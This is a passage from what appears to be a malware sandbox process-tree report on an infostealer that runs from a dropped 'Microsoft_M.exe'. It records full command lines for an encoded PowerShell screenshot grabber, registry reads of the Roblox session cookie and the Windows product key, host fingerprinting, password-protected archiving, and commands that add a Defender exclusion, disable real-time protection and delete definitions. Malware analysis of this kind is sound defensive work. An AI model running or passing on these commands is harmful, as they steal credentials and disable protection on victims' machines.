                                                                                                                                          5⤵
                                                                                                                                            PID:5188
                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                              6⤵
                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                              PID:2272
                                                                                                                                            • C:\Windows\system32\systeminfo.exe
                                                                                                                                              systeminfo
                                                                                                                                              6⤵
                                                                                                                                              • Gathers system information
                                                                                                                                              PID:5460
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                                                            5⤵
                                                                                                                                              PID:3396
                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                6⤵
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                PID:5808
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                                                                6⤵
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                PID:1728
                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hvudpsco\hvudpsco.cmdline"
                                                                                                                                                  7⤵
                                                                                                                                                    PID:5820
                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8B29.tmp" "c:\Users\Admin\AppData\Local\Temp\hvudpsco\CSC1C4DBA54876343C18CA407539746A7.TMP"
                                                                                                                                                      8⤵
                                                                                                                                                        PID:6232
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                  5⤵
                                                                                                                                                    PID:7096
                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                      6⤵
                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                      PID:7160
                                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                                      tree /A /F
                                                                                                                                                      6⤵
                                                                                                                                                        PID:5032
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                      5⤵
                                                                                                                                                        PID:5152
                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                          6⤵
                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                          PID:7112
                                                                                                                                                        • C:\Windows\system32\tree.com
                                                                                                                                                          tree /A /F
                                                                                                                                                          6⤵
                                                                                                                                                            PID:6624
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                          5⤵
                                                                                                                                                            PID:5172
                                                                                                                                                            • C:\Windows\system32\tree.com
                                                                                                                                                              tree /A /F
                                                                                                                                                              6⤵
                                                                                                                                                                PID:6420
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                              5⤵
                                                                                                                                                                PID:5924
                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  6⤵
                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                  PID:3748
                                                                                                                                                                • C:\Windows\system32\tree.com
                                                                                                                                                                  tree /A /F
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:7164
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:3936
                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                      PID:6920
                                                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                                                      tree /A /F
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:6736
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:6972
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                          PID:5772
                                                                                                                                                                        • C:\Windows\system32\getmac.exe
                                                                                                                                                                          getmac
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:5912
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:5580
                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:5336
                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:964
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:2528
                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                    6⤵
                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                    PID:1692
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:4248
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI15762\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\2xjAK.zip" *"
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:4528
                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                        PID:5676
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI15762\rar.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\_MEI15762\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\2xjAK.zip" *
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:3500
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:3608
                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                          6⤵
                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                          PID:5176
                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                          wmic os get Caption
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:5492
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:6212
                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:4980
                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                wmic computersystem get totalphysicalmemory
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                  PID:316
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:4316
                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                    PID:2664
                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                    wmic csproduct get uuid
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:5232
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                      PID:652
                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:3436
                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:6164
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                            PID:6564
                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:4288
                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                wmic path win32_VideoController get name
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                • Detects videocard installed
                                                                                                                                                                                                                PID:3680
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                PID:6740
                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:6880
                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:1812
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                PID:5116
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                  PID:4560
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe'"
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                    PID:3384
                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe'
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                      PID:4792
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                    PID:5080
                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                      PID:1176
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                    PID:4128
                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:4468
                                                                                                                                                                                                                      • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                        tasklist /FO LIST
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Enumerates processes with tasklist
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        PID:3108
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
